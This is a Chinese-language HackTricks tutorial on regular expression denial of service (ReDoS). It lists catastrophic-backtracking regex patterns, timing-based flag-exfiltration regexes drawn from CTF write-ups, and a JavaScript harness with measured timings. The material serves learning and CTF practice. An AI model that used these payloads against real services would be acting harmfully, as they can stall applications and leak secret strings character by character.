Regular expression Denial of Service - ReDoS

正则表达式拒绝服务 - ReDoS

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

正则表达式拒绝服务(ReDoS)

**正则表达式拒绝服务(ReDoS)**发生在有人利用正则表达式(一种在文本中搜索和匹配模式的方法)工作方式的弱点时。有时,当使用正则表达式时,它们可能变得非常缓慢,特别是当它们处理的文本片段变大时。这种缓慢可能会变得非常严重,即使文本大小略微增加,速度也会快速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间停止正常工作。

问题的正则表达式天真算法

查看详情:https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

恶意正则表达式

恶意正则表达式模式是那些可能在精心制作的输入上卡住导致DoS的模式。恶意的正则表达式模式通常包含重复的分组和重复或在重复组内部重叠的交替。一些恶意模式的示例包括:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x},其中 x > 10

所有这些都对输入aaaaaaaaaaaaaaaaaaaaaaaa!易受攻击。

ReDoS有效载荷

通过ReDoS进行字符串外泄

在CTF(或漏洞赏金)中,也许您控制了与敏感信息(标志)匹配的正则表达式。然后,如果正则表达式匹配,而不匹配页面冻结(超时或更长的处理时间)可能会很有用。这样,您将能够逐个字符地外泄字符串:

  • 这篇文章中,您可以找到这个ReDoS规则:^(?=<flag>)((.*)*)*salt$

  • 示例:^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • 这篇解题报告中,您可以找到这个:<flag>(((((((.*)*)*)*)*)*)*)!

  • 这篇解题报告中,他使用了:^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS控制输入和正则表达式

以下是您控制输入和正则表达式ReDoS示例:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

工具

参考资料

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式:

最后更新于